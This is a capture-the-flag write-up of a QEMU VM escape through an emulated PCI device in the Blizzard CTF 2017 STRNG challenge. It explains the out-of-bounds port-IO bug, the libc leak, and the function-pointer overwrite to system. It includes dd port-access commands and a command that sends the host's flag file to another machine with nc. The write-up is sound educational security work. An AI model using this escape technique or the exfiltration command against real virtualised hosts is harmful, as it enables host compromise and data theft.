Description: Blizzard CTF 2017: Sombra True Random Number Generator (STRNG)
Sombra True Random Number Generator (STRNG) is a QEMU-based challenge developed for Blizzard CTF 2017. The challenge was to achieve a VM escape from a QEMU-based VM and capture the flag located at /root/flag on the host.
The image used and distributed with the challenge was the Ubuntu Server 14.04 LTS Cloud Image. The host used the same image as the guest. The guest was reset every 10 minutes and was started with the following command:
./qemu-system-x86_64 -m 1G -device strng -hda my-disk.img -hdb my-seed.img -nographic -L pc-bios/ -enable-kvm -device e1000,netdev=net0 -netdev user,id=net0,hostfwd=tcp::5555-:22
Access to the guest was provided by redirecting incoming connections to the host on port 5555 to the guest on port 22.
Since the end of Defcon Quals and the previous EC3 blog post me and aegis decided to tackle another QEMU VM escape challenge. The challenge is from last year’s BlizzardCTF at Irvine California. Legendary challenges were incentivized with $1000 cash for the first solve however, no teams managed to solve this one during the competition, which was 8 hours with multiple Legendary, Epic, Rare and Common tasks.
The challenge revolves around exploiting an emulated hardware PCI device. The really cool part of this tasks is that you have to abuse not just the memory-mapped IO but also the port-mapped IO. Any read/write to the MMIO are handled by device’s strng_mmio_read/write functions. Any read/write to the PMIO are handled by the device’s strng_pmio_read/write functions. In short the device’s registers contain a buffer and a couple of function pointers to srand, rand and rand_r. We have out-of-bound access bug from strng_pmio_write due to index buffer not being validated. The plan is to leak libc address and overwrite one of the function pointers with system@libc, then we can execute arbitrary commands on the host to retrieve the flag.
STRNG PCI Device
To identify the device we start from the qemu command line arguments. There we can see -device strng, this tells us the name of the device. Dropping qemu-system-x86_64 in IDA we can actually find all of the associated functions thanks to the symbols not being stripped. Starting with strng_class_init we can see the PCIDeviceClass structure being initialized with the device’s device_id 0x11e9 and some other properties which all are going to be useful for identifying the STRNG device.
lspci -v can show us some information about the MMIO and PMIO addresses.
We can see that the MMIO is at address 0xfebf1000 with size of 256 bytes and PMIO ports start at 0xc050 in total of 8 ports.
We can verify all this by interacting with the sysfs. Notice the resource0 and resource1 we can relate these to MMIO and PMIO.
To verify the port numbers. We know that the STRNG PCI Device is 0000:00:03.0 from the lspci [-v] command. Make sure you absolutely don’t access any other port because you might mess up your system :).
The device ID
And we can also verify the mappings from the resource file. The columns here are
start-address end-address flags First row mapping is the MMIO second for PMIO.
Moving on to pci_strng_realize function we can see the registered operations for read/write mapping accesses. We will go over each one of these individually.
The way I have this setup is with a gdb start-up script. QEMU is compiled with full PIE so I will be disabling it to be able to insert breakpoints at constant addresses. I’m not using the -enable-kvm option because I’m on a Mac/Windows otherwise this will make your VM exponentially faster.
Plain and simple, takes an address and size and returns size_t from the MMIO. The required read size is 4 bytes at a time and address is just the offset within the MMIO buffer.
To keep it more presentable I’ve cut some bits and pieces from the decompilation output. But as you can see the mmio_write takes in the address which is an offset in the MMIO, value to be written and size of the write which should be 4 bytes just as the read. We have the function pointers invocations here if we try to write to offset 0
we call srand(val), if we write to offset 4 we invoke rand() and rand_r() at offset 12.
If you are thinking, “oh we have out-of-bound access here because addr is not checked anywhere”, you would be wrong. The PCI device internally checks if the addr you are trying to access is within the boundaries of the MMIO thus only 256 bytes.
To access the MMIO we are going to use a modified version of pcimem.
From the recon phase we know the I/O ports are 8, 8 bytes mapped at 0xc050. We can access them individually or multiple at a time. The pmio_read/write functions however, expect only 4 byte reads/writes. This means we only have 2 options, to read/write to address 0xc050 or 0xc054 which will make our addr argument either 0 or 4 so we can hit the appropriate branch.
Aha! the offset to read/write to is stored in port 0xc050 here is our out-of-bound bug. This gives us arbitrary read/write (actually only 32bit offset from the PCI Device which in the QEMU process space is located on the host’s heap).
So, writing to 0xc050 let’s us store the offset address and writing to 0xc054 let’s us use the stored offset as write address in the PCI device.
Here are a few cool methods of accessing port I/O.
We can read/write to the sysfs using dd, our own code or anything else that lets us read/write 4 bytes at a time from a file.
dd if=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 - read the index 0
dd if=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 skip=1 - use index 0 as offset address to read from
dd if=XXX of=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 - write to index 0
dd if=XXX of=/sys/devices/pci0000\:00/0000\:00\:03.0/resource1 bs=4 count=1 skip=1 - use index 0 as offset to write to
/dev/port is a character device which lets you access any of your system’s port I/Os. The trick here is that you have to use the actual port numbers, in our case 0xc050-0xc057. You can test this with dd the same way we did in the resourceX section. However, if you do that you will quickly notice that because this is a character device all port accesses are being done byte-by-byte. Using this method we can not fulfill the size == 4 requirement.
dd if=/dev/port bs=1 count=1 skip=49232 and dd if=/dev/port bs=4 count=1 skip=12308 will both read 1 byte from the PMIO, just the later dd command will access the PMIO 4 times.
And the coolest method is using the port I/O x86 instructions like inl and outl. If you open the io.h header file, you will see all the macros available to you. For example for reading and writing 4 byte unsigned int.
The trick here is that you have to give permission for your program to access the ports. For ports between 0x000-0x3ff you can use ioperm(from, num, turn_on). For higher ports you need to use iopl(3), this will give your program access to all ports (man ioperm and man iopl). Your program needs to execute as root.
Now that we have everything laid out, I believe anybody can complete the exploit. But just for completeness here is a quick memory layout and the final script.
The plan is to first leak libc by using strng_pmio_read and strng_pmio_write. strng_pmio_write can write the index to be read by the strng_pmio_read this way we can leak one of the 3 pointers stored in the emulated PCI Device address space. Then we are going to use the strng_mmio_write to store the command line we want to execute. And then we are going to overwrite the rand_r pointer with the address of system@libc because its called with the argument we control. And finally we are going to call the corrupted rand_r pointer. The command I chose is cat /root/flag | nc 10.0.2.2 1234.
In my setup I use MacOS to host a vagrant box that runs the QEMU process which emulates the vulnerable PCI Device. We can grab the flag from the vagrant box by using a listen nc on the Mac.
Special thanks to aegis and the task author rcvalle for helping me understand QEMU and IO emulation. Thanks for the challenge. :)